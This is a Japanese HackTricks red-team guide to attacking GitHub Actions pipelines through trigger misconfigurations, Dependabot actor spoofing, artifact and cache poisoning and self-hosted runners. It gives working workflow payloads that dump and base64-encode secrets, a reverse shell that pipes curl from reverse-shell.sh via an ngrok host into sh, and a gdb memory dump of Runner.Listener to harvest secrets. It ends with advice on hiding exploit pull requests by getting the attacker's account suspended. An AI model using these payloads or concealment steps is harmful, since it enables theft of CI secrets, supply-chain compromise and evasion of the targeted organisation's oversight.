Github Actionsの悪用

Reading time: 34 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ツール

以下のツールは、Github Actionのワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます:

基本情報

このページでは以下を見つけることができます:

  • 攻撃者がGithub Actionにアクセスできた場合の影響の概要
  • アクションにアクセスするための異なる方法
  • アクションを作成するための権限
  • プルリクエスト関連のトリガーを悪用する
  • 他の外部アクセス技術を悪用する
  • すでに侵害されたリポジトリからのピボット
  • 最後に、内部からアクションを悪用するためのポストエクスプロイト技術に関するセクション(前述の影響を引き起こす)

影響の概要

Github Actionsの基本情報についての紹介があります。

リポジトリ内でGitHub Actionsで任意のコードを実行できる場合、以下のことが可能です:

  • パイプラインにマウントされたシークレットを盗むことができ、パイプラインの権限を悪用して、AWSやGCPなどの外部プラットフォームに不正アクセスすることができます。
  • デプロイメントや他のアーティファクトを侵害することができます。
  • パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にすることができます。
  • カスタムワーカーでコードを実行して、計算能力を悪用し、他のシステムにピボットすることができます。
  • GITHUB_TOKENに関連付けられた権限に応じて、リポジトリコードを上書きすることができます。

GITHUB_TOKEN

この「シークレット」(${{ secrets.GITHUB_TOKEN }}および${{ github.token }}から来る)は、管理者がこのオプションを有効にしたときに与えられます:

このトークンはGithubアプリケーションが使用するものと同じで、同じエンドポイントにアクセスできます:https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Githubは、リポジトリがGITHUB_TOKENを使用して他の内部リポジトリにアクセスできるようにするフローをリリースするべきです。

このトークンの可能な権限は以下で確認できます:https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

トークンはジョブが完了した後に期限切れになります。
これらのトークンは次のようになります:ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

このトークンでできる興味深いこと:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

注意してください。いくつかの場面で、Github Actionsのenvやシークレットの中にgithubユーザートークンを見つけることができるでしょう。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。

Github Action出力のシークレットをリストする
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
シークレットを使ってリバースシェルを取得
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

他のユーザーのリポジトリに与えられたGithubトークンの権限をログを確認することでチェックすることが可能です:

許可された実行

note

これはGithubアクションを危険にさらす最も簡単な方法です。このケースは、組織内に新しいリポジトリを作成するアクセス権があるか、リポジトリに対する書き込み権限があることを前提としています。

このシナリオにいる場合は、Post Exploitation techniquesを確認するだけです。

リポジトリ作成からの実行

組織のメンバーが新しいリポジトリを作成でき、あなたがGithubアクションを実行できる場合、新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗むことができます。

新しいブランチからの実行

既にGithubアクションが設定されているリポジトリで新しいブランチを作成できる場合、それを修正し、コンテンツをアップロードし、その後新しいブランチからそのアクションを実行することができます。この方法で、リポジトリおよび組織レベルのシークレットを外部に持ち出すことができます(ただし、どのように呼ばれているかを知っている必要があります)。

修正されたアクションを手動で実行可能にすることができます。PRが作成されたときコードがプッシュされたとき(どれだけ目立ちたいかによります):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

フォークされた実行

note

攻撃者が他のリポジトリのGithub Actionを実行することを可能にする異なるトリガーがあります。これらのトリガー可能なアクションが不適切に構成されている場合、攻撃者はそれらを妥協させることができるかもしれません。

pull_request

ワークフロートリガー**pull_requestは、プルリクエストが受信されるたびにワークフローを実行しますが、いくつかの例外があります:デフォルトでは、初めてコラボレーションする場合、いくつかのメンテイナーがワークフローの実行承認**する必要があります。

note

デフォルトの制限初めての貢献者に対して適用されるため、有効なバグ/タイプミスを修正することで貢献し、その後新しいpull_request権限を悪用するために他のPRを送信することができます。

これをテストしましたが、機能しませんでした別のオプションは、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除することです。

さらに、デフォルトでは書き込み権限シークレットアクセスをターゲットリポジトリに対して防ぎます。これはドキュメントに記載されています:

GITHUB_TOKENを除いて、シークレットはランナーに渡されません。ワークフローがフォークされたリポジトリからトリガーされるとき、GITHUB_TOKENはプルリクエストからフォークされたリポジトリに対して読み取り専用権限を持っています。

攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のためにシークレットを盗んだり、リポジトリを上書きしたりすることはできません。

caution

はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものは使用されません!

攻撃者は実行されるコードも制御しているため、GITHUB_TOKENにシークレットや書き込み権限がなくても、例えば悪意のあるアーティファクトをアップロードすることができます。

pull_request_target

ワークフロートリガー**pull_request_targetは、ターゲットリポジトリに対して書き込み権限シークレットへのアクセス**を持っています(許可を求めません)。

ワークフロートリガー**pull_request_targetベースコンテキスト**で実行され、PRによって与えられたものではありません(信頼できないコードを実行しないため)。pull_request_targetについての詳細はドキュメントを確認してください
さらに、この特定の危険な使用についての詳細は、githubのブログ投稿を確認してください

実行されるワークフローベースで定義されたものであり、PRではないため、pull_request_targetを使用することは安全に見えるかもしれませんが、安全でない場合がいくつかあります

このトリガーはシークレットへのアクセスを持ちます。

workflow_run

workflow_runトリガーは、別のワークフローがcompletedrequested、またはin_progressのときにワークフローを実行することを許可します。

この例では、ワークフローは、別の「テストを実行」ワークフローが完了した後に実行されるように構成されています:

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

さらに、ドキュメントによると:workflow_runイベントによって開始されたワークフローは、前のワークフローがない場合でも、シークレットにアクセスし、トークンを書き込むことができます

この種のワークフローは、外部ユーザーによって pull_requestまたはpull_request_targetを介してトリガーされるワークフローに依存している場合、攻撃される可能性があります。脆弱な例はいくつかこのブログで見つけることができます 最初の例は、workflow_runトリガーされたワークフローが攻撃者のコードをダウンロードすることです:${{ github.event.pull_request.head.sha }}
2つ目の例は、信頼できないコードから
workflow_runワークフローにアーティファクト
渡し、このアーティファクトの内容をRCEに対して脆弱にする方法で使用することです。

workflow_call

TODO

TODO:pull_requestから実行されたときに使用/ダウンロードされたコードが元のものであるか、フォークされたPRのものであるかを確認します。

フォークされた実行の悪用

外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合にどのように悪用されるかを見てみましょう:

信頼できないチェックアウト実行

pull_requestの場合、ワークフローはPRのコンテキストで実行されるため(悪意のあるPRのコードが実行されます)、誰かが最初に承認する必要があります。また、いくつかの制限があります。

**pull_request_targetまたはworkflow_runを使用するワークフローがpull_request_targetまたはpull_request**からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、攻撃者は実行されるコードを制御できません

caution

ただし、アクション明示的なPRチェックアウトがあり、PRからコードを取得する(ベースからではなく)場合、攻撃者が制御するコードが使用されます。例えば(PRコードがダウンロードされる12行目を確認):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

潜在的に信頼できないコードはnpm installまたはnpm buildの間に実行されます。ビルドスクリプトと参照されたパッケージはPRの著者によって制御されています

warning

脆弱なアクションを検索するためのGitHubドークは:event.pull_request pull_request_target extension:ymlですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります(PRを生成するアクターが誰であるかに関する条件を使用するなど)。

コンテキストスクリプトインジェクション

特定のGitHubコンテキストの値は、PRを作成するユーザーによって制御されていることに注意してください。GitHubアクションがそのデータを使用して何かを実行する場合、任意のコード実行につながる可能性があります:

Gh Actions - Context Script Injections

GITHUB_ENVスクリプトインジェクション

ドキュメントによると:環境変数を定義または更新し、これを**GITHUB_ENV環境ファイルに書き込むことで、ワークフロージョブの後続のステップで環境変数を利用可能にする**ことができます。

攻撃者がこのenv変数内に任意の値を注入できる場合、LD_PRELOADNODE_OPTIONSなどの次のステップでコードを実行する環境変数を注入することができます。

例えば、(これこれ)、アップロードされたアーティファクトを信頼してその内容を**GITHUB_ENV**環境変数に格納するワークフローを想像してください。攻撃者は、これを妥協させるために次のようなものをアップロードできます:

Dependabotと他の信頼されたボット

このブログ投稿に示されているように、いくつかの組織は、dependabot[bot]からのPRRをマージするGitHubアクションを持っています。

yaml
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

問題なのは、github.actorフィールドがワークフローをトリガーした最新のイベントを引き起こしたユーザーを含むことです。そして、dependabot[bot]ユーザーにPRを修正させる方法はいくつかあります。例えば:

  • 被害者のリポジトリをフォークする
  • 自分のコピーに悪意のあるペイロードを追加する
  • 古い依存関係を追加してフォークでDependabotを有効にする。Dependabotは悪意のあるコードで依存関係を修正するブランチを作成します。
  • そのブランチから被害者のリポジトリにプルリクエストを開く(PRはユーザーによって作成されるので、まだ何も起こりません)
  • その後、攻撃者は自分のフォークでDependabotが開いた最初のPRに戻り、@dependabot recreateを実行します
  • その後、Dependabotはそのブランチでいくつかのアクションを実行し、被害者のリポジトリ上のPRを修正します。これにより、dependabot[bot]がワークフローをトリガーした最新のイベントのアクターとなり(したがって、ワークフローが実行されます)。

次に、もしGithub Actionがコマンドインジェクションを持っていた場合はどうなるでしょうか:

yaml
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

元のブログ投稿では、この動作を悪用するための2つのオプションが提案されており、2つ目は次のとおりです:

  • 被害者のリポジトリをフォークし、いくつかの古い依存関係でDependabotを有効にします。
  • 悪意のあるシェルインジェクションコードを含む新しいブランチを作成します。
  • リポジトリのデフォルトブランチをそのブランチに変更します。
  • このブランチから被害者のリポジトリにPRを作成します。
  • フォークしたリポジトリでDependabotが開いたPRで@dependabot mergeを実行します。
  • Dependabotは、フォークしたリポジトリのデフォルトブランチに変更をマージし、被害者のリポジトリのPRを更新し、dependabot[bot]がワークフローをトリガーした最新のイベントのアクターとなり、悪意のあるブランチ名を使用します。

脆弱なサードパーティのGithub Actions

dawidd6/action-download-artifact

このブログ投稿で述べられているように、このGithub Actionは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。

問題は、**path**パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用されたり、ワークフロー内で実行されたりする可能性のあるファイルを上書きすることができることです。したがって、アーティファクトが脆弱である場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。

脆弱なワークフローの例:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

このワークフローで攻撃される可能性があります:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

その他の外部アクセス

削除された名前空間のリポジトリハイジャック

アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に100スター未満だった場合、Githubは同じ名前の新しい登録ユーザーに削除されたものと同じ名前のリポジトリを作成することを許可します。

caution

したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妥協させる可能性があります。

他のリポジトリがこのユーザーのリポジトリからの依存関係を使用している場合、攻撃者はそれらをハイジャックできるようになります。こちらにより詳細な説明があります: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


リポジトリピボティング

note

このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、1つのリポジトリから別のリポジトリにピボットする技術について説明します(前のセクションを確認してください)。

キャッシュポイズニング

キャッシュは同じブランチ内のワークフロー実行間で維持されます。つまり、攻撃者がパッケージを妥協させ、それがキャッシュに保存され、より特権のあるワークフローによってダウンロードおよび実行されると、そのワークフローも妥協される可能性があります。

GH Actions - Cache Poisoning

アーティファクトポイズニング

ワークフローは他のワークフローやリポジトリからのアーティファクトを使用することができます。攻撃者がアーティファクトをアップロードするGithub Actionを妥協させることができれば、他のワークフローも妥協させることができます:

Gh Actions - Artifact Poisoning


アクションからのポストエクスプロイト

OIDCを介したAWSおよびGCPへのアクセス

以下のページを確認してください:

AWS - Federation Abuse

GCP - Federation Abuse

シークレットへのアクセス

スクリプトにコンテンツを注入している場合、シークレットにアクセスする方法を知っておくと興味深いです:

  • シークレットまたはトークンが環境変数に設定されている場合、**printenv**を使用して環境を介して直接アクセスできます。
Github Action出力のシークレット一覧
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
シークレットを使ってリバースシェルを取得
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • 秘密が式に直接使用される場合、生成されたシェルスクリプトはディスク上に保存され、アクセス可能です。

cat /home/runner/work/_temp/*

- JavaScriptアクションの場合、秘密は環境変数を通じて送信されます。
- ```bash
ps axe | grep node
  • カスタムアクションの場合、秘密を取得したプログラムの使用方法によってリスクが異なる可能性があります:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

セルフホストランナーの悪用

Github Actionsが非Githubインフラストラクチャで実行されているかどうかを見つける方法は、Github Action構成yaml内で**runs-on: self-hosted**を検索することです。

セルフホストランナーは、追加の機密情報や他のネットワークシステム(ネットワーク内の脆弱なエンドポイント?メタデータサービス?)にアクセスできる可能性があります。また、隔離されて破壊されていても、同時に複数のアクションが実行される可能性があり、悪意のあるアクションが他のアクションの秘密を盗むことができます。

セルフホストランナーでは、_Runner.Listener_**プロセスから秘密を取得することも可能であり、そのメモリをダンプすることでワークフローのすべての秘密を含むことができます:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

チェックしてくださいこの投稿で詳細情報を確認

Github Docker Images Registry

Github内にDockerイメージをビルドして保存するGithubアクションを作成することが可能です。
以下の展開可能な例を参照してください:

Github Action Build & Push Docker Image
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

前のコードで示したように、Githubレジストリは**ghcr.io**にホストされています。

リポジトリに対する読み取り権限を持つユーザーは、個人アクセストークンを使用してDockerイメージをダウンロードできるようになります:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

その後、ユーザーはDockerイメージのレイヤー内の漏洩した秘密を検索することができます:

Docker Forensics - HackTricks

Github Actionsログの機密情報

たとえGithubがアクションログ内の秘密の値を検出し表示を避けようとしても、アクションの実行中に生成された他の機密データは隠されません。たとえば、秘密の値で署名されたJWTは、特に設定されていない限り、隠されません。

足跡を隠す

ここからの技術)まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubではインターネット上のPRを削除することはできませんが、ひねりがあります。Githubによって停止されたGitHubアカウントの場合、すべてのPRは自動的に削除され、インターネットから取り除かれます。したがって、活動を隠すためには、GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります。これにより、GitHub上のすべての活動がインターネットから隠されます(基本的にすべてのエクスプロイトPRを削除します)。

GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。必要なことは、Issueに「いくつかのもの」を共有するだけで、彼らはあなたのアカウントが12時間以内に停止されることを確認します :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。

warning

組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする